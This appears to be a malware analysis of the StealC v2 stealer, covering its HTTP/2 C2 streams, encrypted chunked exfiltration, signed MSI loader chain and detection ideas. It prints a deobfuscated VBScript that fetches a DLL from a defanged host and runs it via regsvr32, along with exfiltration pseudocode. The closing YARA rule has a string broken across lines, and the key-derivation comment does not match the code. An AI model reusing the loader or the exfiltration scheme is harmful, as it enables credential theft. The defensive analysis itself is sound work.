StealC v2: HTTP/2 C2 Transport and Builder Leak Analysis

StealC emerged in early 2023 as a lightweight C-based stealer sold via Telegram channels. Its v2 rewrite, observed in active campaigns from June 2026, replaces the original HTTP/1.1 C2 transport with a full HTTP/2 implementation, introduces a chunked exfiltration pipeline for large data batches, and ships with a signed MSI loader chain to reduce AV detections at initial access. The operational picture shifted further when the v2 builder was leaked to BreachForums on 2026-08-01, dramatically lowering the barrier for new operators.

//HTTP/2 C2 Protocol

The original StealC used plain HTTP/1.1 POSTs to a PHP panel. v2 upgrades to HTTP/2 using the nghttp2 library statically linked into the binary (+340KB to final size). The protocol change serves two purposes: multiplexed streams allow simultaneous upload of credential batches, browser cookies, and system info without multiple sequential connections; and HTTP/2 traffic is significantly harder to inspect inline without a full TLS terminating proxy.

// Observed HTTP/2 stream layout (from Wireshark capture)
STREAM 1: HEADERS  -> POST /api/v2/init  (system fingerprint)
STREAM 3: HEADERS  -> POST /api/v2/data  (credential batch, gzip compressed)
STREAM 5: HEADERS  -> POST /api/v2/files (file exfil, chunked)
STREAM 7: HEADERS  -> POST /api/v2/ss    (screenshots, if enabled in config)

// All streams use HPACK-compressed headers
// Custom pseudo-header ":op-id" carries operator ID from config
// Response on STREAM 1 carries task config JSON (persistence, targets, exfil flags)

Chunked Exfiltration Pipeline

For credential batches exceeding 64KB (common on machines with many browser profiles), v2 uses HTTP/2 DATA frames with PADDED flag to chunk the upload. Each chunk is individually AES-128-CTR encrypted with a per-chunk nonce derived from the stream ID and chunk index. This design means partial captures from a network TAP yield no plaintext even if TLS is stripped.

// Chunk encryption scheme
// chunk_key = PBKDF2(operator_key, salt=stream_id||chunk_idx, iterations=1000)
// nonce     = first 16 bytes of chunk_key XOR 0x5A5A5A5A...
for i, chunk in enumerate(credential_chunks):
    nonce = derive_nonce(stream_id, chunk_index=i)
    encrypted_chunk = AES128_CTR(data=chunk, key=op_key, nonce=nonce)
    send_data_frame(stream_id, encrypted_chunk, padded=True)

//Signed MSI Loader Chain

Initial access in v2 campaigns uses a multi-stage loader chain rather than directly dropping the stealer binary. Stage 1 is an MSI file signed with a short-lived code signing certificate (revoked within hours of use in observed campaigns). The MSI executes a VBScript that fetches a DLL from a CDN-hosted URL using bitsadmin, then loads it via regsvr32.

// MSI VBScript stage (deobfuscated)
Set oShell = CreateObject("WScript.Shell")
Set oHTTP  = CreateObject("MSXML2.ServerXMLHTTP.6.0")
oHTTP.Open "GET", "hxxps://cdn-update[.]delivery/patch/v2.dll", False
oHTTP.Send
Set oStream = CreateObject("ADODB.Stream")
oStream.Write oHTTP.responseBody
oStream.SaveToFile Environ("TEMP") & "\mspatch.dll", 2
oShell.Run "regsvr32 /s " & Environ("TEMP") & "\mspatch.dll", 0, True

Code Signing Certificate Abuse

Certificates observed on v2 MSI droppers share several characteristics: all issued by DigiCert or Sectigo to LLC entities registered within the past 30 days; organisation names follow a pattern of generic software company names (e.g. "SoftVision LLC", "DevPatch Corp"); certificates are revoked within 2-6 hours of first malicious use. This suggests operators are purchasing certificates through front companies specifically for single-use loader signing.

//Builder Leak Impact

The StealC v2 builder leaked to BreachForums on 2026-08-01 at 22:47 UTC. The archive contained the builder GUI executable, panel installer, and a README with default operator credentials. Within 48 hours of the leak, our honeypot infrastructure logged 23 unique IPs connecting with StealC v2 beacons using the default configuration - a strong indicator of new low-skill operators spinning up panels from the leaked builder without customising defaults.

//Detection Opportunities

YARA coverage should target the statically-linked nghttp2 constants and the chunked encryption key derivation loop. For network detection, HTTP/2 traffic to single-purpose domains (no prior DNS history, .shop/.top/.xyz TLDs, Cloudflare-proxied) with the custom ":op-id" HPACK header is a high-fidelity signal.

rule StealC_v2_HTTP2 {
  meta:
    description = "StealC v2 - nghttp2 constants and chunk encryption"
    date        = "2026-07"
    author      = "syscfg"
  strings:
    $nghttp2_magic = "PRI * HTTP/2.0

SM

"
    $op_header     = ":op-id" wide ascii
    $chunk_magic   = { 5A 5A 5A 5A 5A 5A 5A 5A 5A 5A 5A 5A 5A 5A 5A 5A }
    $pbkdf2_iter   = { E8 03 00 00 }  // 1000 iterations LE
  condition:
    uint16(0) == 0x5A4D and $nghttp2_magic and $chunk_magic and
    ($op_header or $pbkdf2_iter)
}